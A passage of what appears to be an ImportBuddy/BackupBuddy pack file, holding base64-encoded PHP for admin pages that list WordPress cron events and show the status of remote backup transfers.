###PACKDATA,FILE_END,/pluginbuddy/images/minicolors/trigger.png,importbuddy/pluginbuddy/images/minicolors/trigger.png
###PACKDATA,FILE_START,/controllers/pages/server_info/_cron.php,importbuddy/controllers/pages/server_info/_cron.php
PD9waHAKLyoqCiAqIENyb24gU2VydmVyIEluZm8gUGFnZQogKgogKiBPVVRQVVQ6ICRjcm9ucyBwb3B1bGF0ZWQKICoKICogQHBhY2thZ2UgQmFja3VwQnVkZHkKICovCgppZiAoICEgaXNzZXQoICRjcm9uICkgKSB7CgkkY3JvbiA9IGdldF9vcHRpb24oICdjcm9uJyApOwp9CmlmICggISBpc3NldCggJGNyb25fd2FybmluZ3MgKSApIHsKCSRjcm9uX3dhcm5pbmdzID0gYXJyYXkoKTsKfQoKLy8gTG9vcCB0aHJvdWdoIGVhY2ggY3JvbiB0aW1lIHRvIGNyZWF0ZSAkY3JvbnMgYXJyYXkgZm9yIGRpc3BsYXlpbmcgbGF0ZXIuCiRjcm9ucyA9IGFycmF5KCk7CmZvcmVhY2ggKCAoYXJyYXkpICRjcm9uIGFzICR0aW1lID0+ICRjcm9uX2l0ZW0gKSB7CglpZiAoIGlzX251bWVyaWMoICR0aW1lICkgKSB7CgkJLy8gTG9vcCB0aHJvdWdoIGVhY2ggc2NoZWR1bGUgZm9yIHRoaXMgdGltZS4KCQlmb3JlYWNoICggKGFycmF5KSAkY3Jvbl9pdGVtIGFzICRob29rX25hbWUgPT4gJGV2ZW50ICkgewoKCQkJLy8gRG9uJ3Qgc2hvdyB0aGUgaXRidWJfY3Jvbl90ZXN0IHRhc2sgdG8gYXZvaWQgY29uZnVzaW9uLgoJCQkvLyBJdCB3aWxsIGFsd2F5cyBiZSBwcmVzZW50IG9uIHZpc2l0aW5nIHRoaXMgcGFnZSBpZiB3ZSBhcmUgZG9pbmcgYW4gYWN0aXZlCgkJCS8vIGNyb24gdGVzdCBhbmQgd2lsbCBhbHdheXMgYXBwZWFyIG92ZXJkdWUgYmVjYXVzZSB3ZSBzY2hlZHVsZSBpdCBpbiB0aGUgcGFzdCAtCgkJCS8vIHNvIHRvIGF2b2lkIGN1c3RvbWVyIGNvbmZ1c2lvbiB3ZSBoaWRlIGl0LiBJdCBjYW4gYmUgdmlld2VkIGJ5IGNsaWNraW5nIHRoZQoJCQkvLyBidXR0b24gdG8gc2VlIHRoZSByYXcgY3JvbiBhcnJheS4KCQkJaWYgKCAnaXRidWJfY3Jvbl90ZXN0JyA9PSAkaG9va19uYW1lICkgewoJCQkJY29udGludWU7CgkJCX0KCgkJCWZvcmVhY2ggKCAoYXJyYXkpICRldmVudCBhcyAkaXRlbV9uYW1lID0+ICRpdGVtICkgewoKCQkJCS8vIERldGVybWluZSBwZXJpb2QuCgkJCQlpZiAoICEgZW1wdHkoICRpdGVtWydzY2hlZHVsZSddICkgKSB7IC8vIFJlY3VycmluZyBzY2hlZHVsZS4KCQkJCQkkcGVyaW9kICAgICAgICAgID0gJyc7CgkJCQkJJHByZXR0eV9pbnRlcnZhbCA9IGJhY2t1cGJ1ZGR5X2NvcmU6OnByZXR0eUNyb25JbnRlcnZhbCggJGl0ZW1bJ2ludGVydmFsJ10gKTsKCQkJCQlpZiAoIGZhbHNlICE9PSAkcHJldHR5X2ludGVydmFsICkgewoJCQkJCQkkcGVyaW9kIC49ICc8c3BhbiB0aXRsZT0iSW50ZXJ2YWwgdGFnOiBgJyAuICRwcmV0dHlfaW50ZXJ2YWxbMF0gLiAnYC4iPicgLiAkcHJldHR5X2ludGVydmFsWzFdIC4gJzwvc3Bhbj4nOwoJCQkJCX0gZWxzZSB7CgkJCQkJCSRwZXJpb2QgLj0gJzxzcGFuIHRpdGxlPSJJbnRlcnZhbCB0YWc6IGAnIC4gJGl0ZW1bJ3NjaGVkdWxlJ10gLiAnYC4iPicgLiAkaXRlbVsnc2NoZWR1bGUnXSAuICc8L3NwYW4+JzsKCQkJCQl9CgkJCQl9IGVsc2UgeyAvLyBPbmUtdGltZSBvbmx5IGNyb24uCgkJCQkJJHBlcmlvZCA9IF9fKCAnb25lIHRpbWUgb25seScsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApOwoJCQkJfQoKCQkJCS8vIERldGVybWluZSBpbnRlcnZhbC4KCQkJCWlmICggISBlbXB0eSggJGl0ZW1bJ2ludGVydmFsJ10gKSApIHsKCQkJCQkkaW50ZXJ2YWwgPSAkaXRlbVsnaW50ZXJ2YWwnXSAuICcgc2Vjb25kcyc7CgkJCQl9IGVsc2UgewoJCQkJCSRpbnRlcnZhbCA9IF9fKCAnb25lIHRpbWUgb25seScsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApOwoJCQkJfQoKCQkJCS8vIERldGVybWluZSBhcmd1bWVudHMuCgkJCQlpZiAoICEgZW1wdHkoICRpdGVtWydhcmdzJ10gKSApIHsKCQkJCQkkYXJndW1lbnRzID0gJyc7CgkJCQkJZm9yZWFjaCAoICRpdGVtWydhcmdzJ10gYXMgJGFyZ3MgKSB7CgkJCQkJCSRhcmd1bWVudHNfaW5uZXIgPSBhcnJheSgpOwoJCQkJCQkkaXNfYXJyYXkgICAgICAgID0gZmFsc2U7CgkJCQkJCWlmICggISBpc19hcnJheSggJGFyZ3MgKSApIHsKCQkJCQkJCSRhcmd1bWVudHNfaW5uZXJbXSA9ICRhcmdzOwoJCQkJCQl9IGVsc2UgewoJCQkJCQkJJGlzX2FycmF5ID0gdHJ1ZTsKCQkJCQkJCWZvcmVhY2ggKCAkYXJncyBhcyAkYXJnICkgewoJCQkJCQkJCWlmICggaXNfYXJyYXkoICRhcmcgKSApIHsKCQkJCQkJCQkJJGFyZ3VtZW50c19pbm5lcltdID0gcHJpbnRfciggJGFyZywgdHJ1ZSApOwoJCQkJCQkJCX0gZWxzZSB7CgkJCQkJCQkJCSRhcmd1bWVudHNfaW5uZXJbXSA9ICRhcmc7CgkJCQkJCQkJfQoJCQkJCQkJfQoJCQkJCQl9CgkJCQkJCWlmICggdHJ1ZSA9PT0gJGlzX2FycmF5ICkgewoJCQkJCQkJJGFyZ3VtZW50c19pbm5lciA9ICdBcnJheSggJyAuIGltcGxvZGUoICcsICcsICRhcmd1bWVudHNfaW5uZXIgKSAuICcgKSc7CgkJCQkJCX0gZWxzZSB7CgkJCQkJCQkkYXJndW1lbnRzX2lubmVyID0gaW1wbG9kZSggJywgJywgJGFyZ3VtZW50c19pbm5lciApOwoJCQkJCQl9CgkJCQkJCSRhcmd1bWVudHMgLj0gJzx0ZXh0YXJlYSB3cmFwPSJvZmYiPicgLiAkYXJndW1lbnRzX2lubmVyIC4gJzwvdGV4dGFyZWE+JzsKCQkJCQl9CgkJCQl9IGVsc2UgewoJCQkJCSRhcmd1bWVudHMgPSBfXyggJ25vbmUnLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKTsKCQkJCX0KCgkJCQkvLyBJZiBydW4gdGltZSBpcyBpbiB0aGUgcGFzdCwgbm90ZSB0aGlzLgoJCQkJJHBhc3RfdGltZSA9ICcnOwoJCQkJaWYgKCAkdGltZSA8IHRpbWUoKSApIHsKCQkJCQkkd2FybmluZyA9ICdXQVJOSU5HOiBOZXh0IHJ1biB0aW1lIGhhcyBwYXNzZWQuIEl0IHNob3VsZCBoYXZlIHJ1biAnIC4gcGJfYmFja3VwYnVkZHk6OiRmb3JtYXQtPnRpbWVfYWdvKCAkdGltZSApIC4gJyBhZ28uIENyb24gcHJvYmxlbT8nOwoJCQkJCSRtc2cgICAgID0gJ1NvbWV0aGluZyBtYXkgYmUgd3Jvbmcgd2l0aCB5b3VyIFdvcmRQcmVzcyBjcm9uIHN1Y2ggYXMgYSBtYWxmdW5jdGlvbmluZyBjYWNoaW5nIHBsdWdpbiBvciB3ZWJob3N0IHByb2JsZW1zLic7CgkJCQkJaWYgKCBpc3NldCggcGJfYmFja3VwYnVkZHk6OiR1aSApICYmIGlzX29iamVjdCggcGJfYmFja3VwYnVkZHk6OiR1aSApICkgewoJCQkJCQkkdGlwID0gcGJfYmFja3VwYnVkZHk6OiR1aS0+dGlwKCAkbXNnLCAnJywgZmFsc2UgKTsKCQkJCQl9IGVsc2UgewoJCQkJCQkkdGlwID0gJygnIC4gJG1zZyAuICcpJzsKCQkJCQl9CgkJCQkJJHBhc3RfdGltZSAgICAgICA9ICc8YnI+PHNwYW4gc3R5bGU9ImNvbG9yOiByZWQ7Ij4gKiogJyAuICR3YXJuaW5nIC4gJyAqKiAnIC4gJHRpcCAuICc8L3NwYW4+JzsKCQkJCQkkY3Jvbl93YXJuaW5nc1tdID0gJHdhcm5pbmc7CgkJCQl9CgoJCQkJLy8gUG9wdWxhdGUgY3JvbnMgYXJyYXkgZm9yIGRpc3BsYXlpbmcgbGF0ZXIuCgkJCQkkY3JvbnNbICR0aW1lIC4gJ3wnIC4gJGhvb2tfbmFtZSAuICd8JyAuICRpdGVtX25hbWUgXSA9IGFycmF5KAoJCQkJCSc8c3BhbiB0aXRsZT1cJ0tleTogJyAuICRpdGVtX25hbWUgLiAnXCc+JyAuICRob29rX25hbWUgLiAnPC9zcGFuPicsCgkJCQkJcGJfYmFja3VwYnVkZHk6OiRmb3JtYXQtPmRhdGUoIHBiX2JhY2t1cGJ1ZGR5OjokZm9ybWF0LT5sb2NhbGl6ZV90aW1lKCAkdGltZSApICkgLiAnPGJyPjxzcGFuIGNsYXNzPSJkZXNjcmlwdGlvbiI+IFRpbWVzdGFtcDogJyAuICR0aW1lIC4gJzwvc3Bhbj4nIC4gJHBhc3RfdGltZSwKCQkJCQkkcGVyaW9kLAoJCQkJCSRpbnRlcnZhbCwKCQkJCQkkYXJndW1lbnRzLAoJCQkJKTsKCgkJCX0gLy8gRW5kIGZvcmVhY2guCgkJCXVuc2V0KCAkaXRlbSApOwoJCQl1bnNldCggJGl0ZW1fbmFtZSApOwoJCX0gLy8gRW5kIGZvcmVhY2guCgkJdW5zZXQoICRldmVudCApOwoJCXVuc2V0KCAkaG9va19uYW1lICk7Cgl9IC8vIEVuZCBpZiBpc19udW1lcmljLgp9IC8vIEVuZCBmb3JlYWNoLgp1bnNldCggJGNyb25faXRlbSApOwp1bnNldCggJHRpbWUgKTsK
###PACKDATA,FILE_END,/controllers/pages/server_info/_cron.php,importbuddy/controllers/pages/server_info/_cron.php
###PACKDATA,FILE_START,/controllers/pages/server_info/_remote_sends.php,importbuddy/controllers/pages/server_info/_remote_sends.php
PD9waHAKLyoqCiAqIFJlbW90ZSBTZW5kcyBTZXJ2ZXIgSW5mbyBDb250ZW50CiAqIElOUFVUOiAgJHRyb3VibGVzaG9vdGluZyAgb3B0aW9uYWwgKHRydWUpIHRvIHB1dCBpbiBMaXZlIHRyb3VibGVzaG9vdGluZyB0ZXh0IG1vZGUuCiAqIE9VVFBVVDogJHNlbmRzICAgICAgICAgICAgcG9wdWxhdGVkCiAqCiAqIEBwYWNrYWdlIEJhY2t1cEJ1ZGR5CiAqLwoKaWYgKCAhIGlzc2V0KCAkdHJvdWJsZXNob290aW5nICkgKSB7CgkkdHJvdWJsZXNob290aW5nID0gZmFsc2U7Cn0KCiRyZW1vdGVfc2VuZHMgICAgID0gYXJyYXkoKTsKJHNlbmRfZmlsZW9wdGlvbnMgPSBwYl9iYWNrdXBidWRkeTo6JGZpbGVzeXN0ZW0tPmdsb2JfYnlfZGF0ZSggYmFja3VwYnVkZHlfY29yZTo6Z2V0TG9nRGlyZWN0b3J5KCkgLiAnZmlsZW9wdGlvbnMvc2VuZC0qLnR4dCcgKTsKaWYgKCAhIGlzX2FycmF5KCAkc2VuZF9maWxlb3B0aW9ucyApICkgewoJJHNlbmRfZmlsZW9wdGlvbnMgPSBhcnJheSgpOwp9Cgpmb3JlYWNoICggJHNlbmRfZmlsZW9wdGlvbnMgYXMgJHNlbmRfZmlsZW9wdGlvbiApIHsKCgkkc2VuZF9pZCA9IHN0cl9yZXBsYWNlKCAnLnR4dCcsICcnLCBzdHJfcmVwbGFjZSggJ3NlbmQtJywgJycsIGJhc2VuYW1lKCAkc2VuZF9maWxlb3B0aW9uICkgKSApOwoKCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ0Fib3V0IHRvIGxvYWQgZmlsZW9wdGlvbnMgZGF0YS4nICk7CglyZXF1aXJlX29uY2UgcGJfYmFja3VwYnVkZHk6OnBsdWdpbl9wYXRoKCkgLiAnL2NsYXNzZXMvZmlsZW9wdGlvbnMucGhwJzsKCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ0ZpbGVvcHRpb25zIGluc3RhbmNlICMyMzMuJyApOwoJJGZpbGVvcHRpb25zX29iaiA9IG5ldyBwYl9iYWNrdXBidWRkeV9maWxlb3B0aW9ucyggYmFja3VwYnVkZHlfY29yZTo6Z2V0TG9nRGlyZWN0b3J5KCkgLiAnZmlsZW9wdGlvbnMvc2VuZC0nIC4gJHNlbmRfaWQgLiAnLnR4dCcsICRyZWFkX29ubHkgPSB0cnVlLCAkaWdub3JlX2xvY2sgPSB0cnVlLCAkY3JlYXRlX2ZpbGUgPSBmYWxzZSApOwoJaWYgKCB0cnVlICE9PSAoICRyZXN1bHQgPSAkZmlsZW9wdGlvbnNfb2JqLT5pc19vaygpICkgKSB7CgkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2Vycm9yJywgX18oICdGYXRhbCBFcnJvciAjOTAzNC4yMzMyMzkzMzMuIFVuYWJsZSB0byBhY2Nlc3MgZmlsZW9wdGlvbnMgZGF0YS4nLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKSAuICcgRXJyb3I6ICcgLiAkcmVzdWx0ICk7CgkJcmV0dXJuIGZhbHNlOwoJfQoJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnRmlsZW9wdGlvbnMgZGF0YSBsb2FkZWQuJyApOwoKCSRyZW1vdGVfc2VuZHNbICRzZW5kX2lkIF0gPSAkZmlsZW9wdGlvbnNfb2JqLT5vcHRpb25zOwoJdW5zZXQoICRmaWxlb3B0aW9uc19vYmogKTsKCn0KCiRzZW5kcyA9IGFycmF5KCk7CmZvcmVhY2ggKCAkcmVtb3RlX3NlbmRzIGFzICRzZW5kX2lkID0+ICRyZW1vdGVfc2VuZCApIHsKCS8vIENvcnJ1cHQgZmlsZW9wdGlvbnMgZmlsZS4gU2tpcC4KCWlmICggISBpc3NldCggJHJlbW90ZV9zZW5kWydzdGFydF90aW1lJ10gKSApIHsKCQljb250aW51ZTsKCX0KCgkvLyBTZXQgdXAgc29tZSB2YXJpYWJsZXMgYmFzZWQgb24gd2hldGhlciBmaWxlIGZpbmlzaGVkIHNlbmRpbmcgeWV0IG9yIG5vdC4KCWlmICggJHJlbW90ZV9zZW5kWydmaW5pc2hfdGltZSddID4gMCApIHsgLy8gRmluaXNoZWQgc2VuZGluZy4KCQkkdGltZV9hZ28gICAgPSBwYl9iYWNrdXBidWRkeTo6JGZvcm1hdC0+dGltZV9hZ28oICRyZW1vdGVfc2VuZFsnZmluaXNoX3RpbWUnXSApIC4gJyBhZ287IDxiPnRvb2sgJzsKCQkkZHVyYXRpb24gICAgPSBwYl9iYWNrdXBidWRkeTo6JGZvcm1hdC0+dGltZV9kdXJhdGlvbiggJHJlbW90ZV9zZW5kWydmaW5pc2hfdGltZSddIC0gJHJlbW90ZV9zZW5kWydzdGFydF90aW1lJ10gKSAuICc8L2I+JzsKCQkkZmluaXNoX3RpbWUgPSBwYl9iYWNrdXBidWRkeTo6JGZvcm1hdC0+ZGF0ZSggcGJfYmFja3VwYnVkZHk6OiRmb3JtYXQtPmxvY2FsaXplX3RpbWUoICRyZW1vdGVfc2VuZFsnZmluaXNoX3RpbWUnXSApICk7Cgl9IGVsc2UgeyAvLyBEaWQgbm90IGZpbmlzaCAoeWV0PykuCgkJJHRpbWVfYWdvICAgID0gcGJfYmFja3VwYnVkZHk6OiRmb3JtYXQtPnRpbWVfYWdvKCAkcmVtb3RlX3NlbmRbJ3N0YXJ0X3RpbWUnXSApIC4gJyBhZ287IDxiPnVuZmluaXNoZWQ8L2I+JzsKCQkkZHVyYXRpb24gICAgPSAnJzsKCQkkZmluaXNoX3RpbWUgPSAnPHNwYW4gY2xhc3M9ImRlc2NyaXB0aW9uIj5Vbmtub3duPC9zcGFuPiAoJyAuICRyZW1vdGVfc2VuZFsnZmluaXNoX3RpbWUnXSAuICcpJzsKCX0KCgkvLyBIYW5kbGUgc2hvd2luZyBzZW50IEltcG9ydEJ1ZGR5IChpZiBzZW50KS4KCWlmICggaXNzZXQoICRyZW1vdGVfc2VuZFsnc2VuZF9pbXBvcnRidWRkeSddICkgJiYgdHJ1ZSA9PT0gJHJlbW90ZV9zZW5kWydzZW5kX2ltcG9ydGJ1ZGR5J10gKSB7CgkJJHNlbmRfaW1wb3J0YnVkZHkgPSAnPGJyPjxzcGFuIGNsYXNzPSJkZXNjcmlwdGlvbiIgc3R5bGU9Im1hcmdpbi1sZWZ0OiAxMHB4OyI+KyBpbXBvcnRidWRkeS5waHA8L3NwYW4+JzsKCX0gZWxzZSB7CgkJJHNlbmRfaW1wb3J0YnVkZHkgPSAnJzsKCX0KCgkvLyBTaG93IGZpbGUgc2l6ZSAoaWYgYXZhaWxhYmxlKS4KCSRmaWxlX3NpemUgPSAnJzsKCWlmICggaXNzZXQoICRyZW1vdGVfc2VuZFsnZmlsZV9zaXplJ10gKSAmJiBpc19udW1lcmljKCAkcmVtb3RlX3NlbmRbJ2ZpbGVfc2l6ZSddICkgJiYgJHJlbW90ZV9zZW5kWydmaWxlX3NpemUnXSA+PSAwICkgewoJCSRmaWxlX3NpemUgPSAnPGJyPjxzcGFuIGNsYXNzPSJkZXNjcmlwdGlvbiIgc3R5bGU9Im1hcmdpbi1sZWZ0OiAxMHB4OyI+U2l6ZTogJyAuIHBiX2JhY2t1cGJ1ZGR5OjokZm9ybWF0LT5maWxlX3NpemUoICRyZW1vdGVfc2VuZFsnZmlsZV9zaXplJ10gKSAuICc8L3NwYW4+JzsKCX0KCgkkZXJyb3JfZGV0YWlscyA9ICcnOwoJaWYgKCBpc3NldCggJHJlbW90ZV9zZW5kWydlcnJvciddICkgKSB7CgkJJGVycm9yX2RldGFpbHMgPSAnPGJyPjxzcGFuIGNsYXNzPSJkZXNjcmlwdGlvbiIgc3R5bGU9IgoJCSAgbWFyZ2luLWxlZnQ6IDEwcHg7CgkJICBkaXNwbGF5OiBibG9jazsKCQkgIG1heC13aWR0aDogNTAwcHg7CgkJICBtYXgtaGVpZ2h0OiAyNTBweDsKCQkgIG92ZXJmbG93OiBzY3JvbGw7CgkJICBiYWNrZ3JvdW5kOiAjZmZmOwoJCSAgcGFkZGluZzogMTBweDsiPicgLiAkcmVtb3RlX3NlbmRbJ2Vycm9yJ10gLiAnPC9zcGFuPic7Cgl9CgoJLy8gU3RhdHVzIHZlcmJhZ2UgJiBzdHlsaW5nIGJhc2VkIG9uIHNlbmQgc3RhdHVzLgoJJGZhaWxlZCA9IGZhbHNlOwoJaWYgKCAnc3VjY2VzcycgPT0gJHJlbW90ZV9zZW5kWydzdGF0dXMnXSApIHsKCQkkc3RhdHVzID0gJzxzcGFuIGNsYXNzPSJwYl9sYWJlbCBwYl9sYWJlbC1zdWNjZXNzIj5TdWNjZXNzPC9zcGFuPic7Cgl9IGVsc2VpZiAoICdydW5uaW5nJyA9PSAkcmVtb3RlX3NlbmRbJ3N0YXR1cyddICkgewoJCSRzdGF0dXMgPSAnPHNwYW4gY2xhc3M9InBiX2xhYmVsIHBiX2xhYmVsLWluZm8iPkluIHByb2dyZXNzIG9yIHRpbWVkIG91dDwvc3Bhbj4nOwoJfSBlbHNlaWYgKCAndGltZW91dCcgPT0gJHJlbW90ZV9zZW5kWydzdGF0dXMnXSApIHsKCQkkZmFpbGVkID0gdHJ1ZTsKCQkkc3RhdHVzID0gJzxzcGFuIGNsYXNzPSJwYl9sYWJlbCBwYl9sYWJlbC1lcnJvciI+RmFpbGVkIChsaWtlbHkgdGltZW91dCk8L3NwYW4+JzsKCX0gZWxzZWlmICggJ2ZhaWxlZCcgPT0gJHJlbW90ZV9zZW5kWydzdGF0dXMnXSApIHsKCQkkZmFpbGVkID0gdHJ1ZTsKCQkkc3RhdHVzID0gJzxzcGFuIGNsYXNzPSJwYl9sYWJlbCBwYl9sYWJlbC1lcnJvciI+RmFpbGVkPC9zcGFuPic7Cgl9IGVsc2VpZiAoICdhYm9ydGVkJyA9PSAkcmVtb3RlX3NlbmRbJ3N0YXR1cyddICkgewoJCSRmYWlsZWQgPSB0cnVlOwoJCSRzdGF0dXMgPSAnPHNwYW4gY2xhc3M9InBiX2xhYmVsIHBiX2xhYmVsLXdhcm5pbmciPkFib3J0ZWQgYnkgdXNlcjwvc3Bhbj4nOwoJfSBlbHNlaWYgKCAnbXVsdGlwYXJ0JyA9PSAkcmVtb3RlX3NlbmRbJ3N0YXR1cyddICkgewoJCSRzdGF0dXMgPSAnPHNwYW4gY2xhc3M9InBiX2xhYmVsIHBiX2xhYmVsLWluZm8iPk11bHRpcGFydCB0cmFuc2Zlcjwvc3Bhbj4nOwoJfSBlbHNlIHsKCQkkc3RhdHVzID0gJzxzcGFuIGNsYXNzPSJwYl9sYWJlbCBwYl9sYWJlbC1pbXBvcnRhbnQiPicgLiB1Y2ZpcnN0KCAkcmVtb3RlX3NlbmRbJ3N0YXR1cyddICkgLiAnPC9zcGFuPic7Cgl9CglpZiAoIGlzc2V0KCAkcmVtb3RlX3NlbmRbJ19tdWx0aXBhcnRfc3RhdHVzJ10gKSApIHsKCQkkc3RhdHVzIC49ICc8YnI+JyAuICRyZW1vdGVfc2VuZFsnX211bHRpcGFydF9zdGF0dXMnXTsKCX0KCgkvLyBEaXNwbGF5ICdWaWV3IExvZycgbGluayBpZiBsb2cgYXZhaWxhYmxlIGZvciB0aGlzIHNlbmQuCgkkbG9nX2ZpbGUgPSBiYWNrdXBidWRkeV9jb3JlOjpnZXRMb2dEaXJlY3RvcnkoKSAuICdzdGF0dXMtcmVtb3RlX3NlbmQtJyAuICRzZW5kX2lkIC4gJ18nIC4gcGJfYmFja3VwYnVkZHk6OiRvcHRpb25zWydsb2dfc2VyaWFsJ10gLiAnLnR4dCc7CglpZiAoIGZhbHNlID09PSAkdHJvdWJsZXNob290aW5nICkgewoJCSRzdGF0dXMgLj0gJzxkaXYgY2xhc3M9InJvdy1hY3Rpb25zIj4nOwoKCQlpZiAoIGZpbGVfZXhpc3RzKCAkbG9nX2ZpbGUgKSApIHsKCQkJJHN0YXR1cyAuPSAnPGEgdGl0bGU9IicgLiBfXyggJ1ZpZXcgUmVtb3RlIFNlbmQgTG9nJywgJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgLiAnIiBocmVmPSInIC4gcGJfYmFja3VwYnVkZHk6OmFqYXhfdXJsKCAncmVtb3Rlc2VuZF9kZXRhaWxzJyApIC4gJyZzZW5kX2lkPScgLiAkc2VuZF9pZCAuICcmIzAzODtUQl9pZnJhbWU9MSYjMDM4O3dpZHRoPTY0MCYjMDM4O2hlaWdodD02MDAiIGNsYXNzPSJ0aGlja2JveCI+VmlldyBMb2c8L2E+JzsKCQl9CgoJCSRzdGF0dXMgLj0gJyB8IDxhIHRpdGxlPSInIC4gX18oICdSZW1vdGUgU2VuZCBUZWNobmljYWwgRGV0YWlscycsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApIC4gJyIgaHJlZj0iJyAuIHBiX2JhY2t1cGJ1ZGR5OjphamF4X3VybCggJ3NlbmRfc3RhdHVzJyApIC4gJyZzZW5kX2lkPScgLiAkc2VuZF9pZCAuICcmIzAzODtUQl9pZnJhbWU9MSYjMDM4O3dpZHRoPTY0MCYjMDM4O2hlaWdodD02MDAiIGNsYXNzPSJ0aGlja2JveCI+VmlldyBEZXRhaWxzPC9hPic7CgoJCWlmICggJ3N1Y2Nlc3MnICE9ICRyZW1vdGVfc2VuZFsnc3RhdHVzJ10gKSB7CgkJCSRzdGF0dXMgLj0gJyB8IDxhIHRpdGxlPSInIC4gX18oICdGb3JjZSByZXNlbmQgYXR0ZW1wdCcsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApIC4gJyIgaHJlZj0iJyAuIHBiX2JhY2t1cGJ1ZGR5OjphamF4X3VybCggJ3JlbW90ZXNlbmRfcmV0cnknICkgLiAnJnNlbmRfaWQ9JyAuICRzZW5kX2lkIC4gJyYjMDM4O1RCX2lmcmFtZT0xJiMwMzg7d2lkdGg9NjQwJiMwMzg7aGVpZ2h0PTYwMCIgY2xhc3M9InRoaWNrYm94Ij5SZXRyeSBTZW5kIE5vdzwvYT4nOwoJCX0KCgkJJHN0YXR1cyAuPSAnPC9kaXY+JzsKCX0KCgkvLyBEZXRlcm1pbmUgZGVzdGluYXRpb24uCgkkZGVzdGluYXRpb25fdHlwZSA9ICcnOwoJaWYgKCBpc3NldCggcGJfYmFja3VwYnVkZHk6OiRvcHRpb25zWydyZW1vdGVfZGVzdGluYXRpb25zJ11bICRyZW1vdGVfc2VuZFsnZGVzdGluYXRpb24nXSBdICkgKSB7IC8vIFZhbGlkIGRlc3RpbmF0aW9uLgoJCSRkZXN0aW5hdGlvbiAgICAgID0gcGJfYmFja3VwYnVkZHk6OiRvcHRpb25zWydyZW1vdGVfZGVzdGluYXRpb25zJ11bICRyZW1vdGVfc2VuZFsnZGVzdGluYXRpb24nXSBdWyd0aXRsZSddIC4gJyAoJyAuIHBiX2JhY2t1cGJ1ZGR5Ojokb3B0aW9uc1sncmVtb3RlX2Rlc3RpbmF0aW9ucyddWyAkcmVtb3RlX3NlbmRbJ2Rlc3RpbmF0aW9uJ10gXVsndHlwZSddIC4gJyknOwoJCSRkZXN0aW5hdGlvbl90eXBlID0gcGJfYmFja3VwYnVkZHk6OiRvcHRpb25zWydyZW1vdGVfZGVzdGluYXRpb25zJ11bICRyZW1vdGVfc2VuZFsnZGVzdGluYXRpb24nXSBdWyd0eXBlJ107Cgl9IGVsc2UgeyAvLyBJbnZhbGlkIGRlc3RpbmF0aW9uIC0gYmVlbiBkZWxldGVkIHNpbmNlIHNlbmQ/CgkJJGRlc3RpbmF0aW9uID0gJzxzcGFuIGNsYXNzPSJkZXNjcmlwdGlvbiI+VW5rbm93bjwvc3Bhbj4nOwoJfQoKCSR3cml0ZV9zcGVlZCA9ICcnOwoJaWYgKCBpc3NldCggJHJlbW90ZV9zZW5kWyd3cml0ZV9zcGVlZCddICkgJiYgKCAnJyAhPSAkcmVtb3RlX3NlbmRbJ3dyaXRlX3NwZWVkJ10gKSApIHsKCQkkd3JpdGVfc3BlZWQgPSAnVHJhbnNmZXIgU3BlZWQ6ICZndDsgJyAuIHBiX2JhY2t1cGJ1ZGR5OjokZm9ybWF0LT5maWxlX3NpemUoICRyZW1vdGVfc2VuZFsnd3JpdGVfc3BlZWQnXSApIC4gJy9zZWM8YnI+JzsKCX0KCgkkdHJpZ2dlciA9IHVjZmlyc3QoICRyZW1vdGVfc2VuZFsndHJpZ2dlciddICk7CglpZiAoIGlzX2FycmF5KCAkcmVtb3RlX3NlbmRbJ2ZpbGUnXSApICkgewoJCSRiYXNlX2ZpbGUgPSAnLScgLiBfXyggJ011bHRpcGxlIGZpbGVzJywgJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgLiAnLSc7Cgl9IGVsc2UgewoJCSRiYXNlX2ZpbGUgPSBiYXNlbmFtZSggJHJlbW90ZV9zZW5kWydmaWxlJ10gKTsKCX0KCWlmICggJ3JlbW90ZS1zZW5kLXRlc3QucGhwJyA9PSAkYmFzZV9maWxlICkgewoJCSRiYXNlX2ZpbGUgICA9IF9fKCAnUmVtb3RlIGRlc3RpbmF0aW9uIHRlc3QnLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKSAuICc8YnI+PHNwYW4gY2xhc3M9ImRlc2NyaXB0aW9uIiBzdHlsZT0ibWFyZ2luLWxlZnQ6IDEwcHg7Ij4oU2VuZCAmIGRlbGV0ZSB0ZXN0IGZpbGUgcmVtb3RlLXNlbmQtdGVzdC5waHApPC9zcGFuPic7CgkJJGZpbGVfc2l6ZSAgID0gJyc7CgkJJHRyaWdnZXIgICAgID0gX18oICdNYW51YWwgc2V0dGluZ3MgdGVzdCcsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApOwoJCSRkZXN0aW5hdGlvbiA9ICc8c3BhbiBjbGFzcz0iZGVzY3JpcHRpb24iPlRlc3Qgc2V0dGluZ3M8L3NwYW4+JzsKCX0KCgkvLyBQdXNoIGludG8gYXJyYXkuCglpZiAoIGZhbHNlID09PSAkdHJvdWJsZXNob290aW5nICkgewoJCSRzZW5kc1tdID0gYXJyYXkoCgkJCSRiYXNlX2ZpbGUgLiAkZmlsZV9zaXplIC4gJHNlbmRfaW1wb3J0YnVkZHkgLiAkZXJyb3JfZGV0YWlscywKCQkJJGRlc3RpbmF0aW9uLAoJCQkkdHJpZ2dlciwKCQkJJHdyaXRlX3NwZWVkIC4KCQkJCSdTdGFydDogJyAuIHBiX2JhY2t1cGJ1ZGR5OjokZm9ybWF0LT5kYXRlKCBwYl9iYWNrdXBidWRkeTo6JGZvcm1hdC0+bG9jYWxpemVfdGltZSggJHJlbW90ZV9zZW5kWydzdGFydF90aW1lJ10gKSApIC4gJzxicj4nIC4KCQkJCSdGaW5pc2g6ICcgLiAkZmluaXNoX3RpbWUgLiAnPGJyPicgLgoJCQkJJzxzcGFuIGNsYXNzPSJkZXNjcmlwdGlvbiI+JyAuICR0aW1lX2FnbyAuICRkdXJhdGlvbiAuICc8L3NwYW4+JywKCQkJJHN0YXR1cywKCQkpOwoJfSBlbHNlIHsgLy8gVHJvdWJsZXNob290aW5nI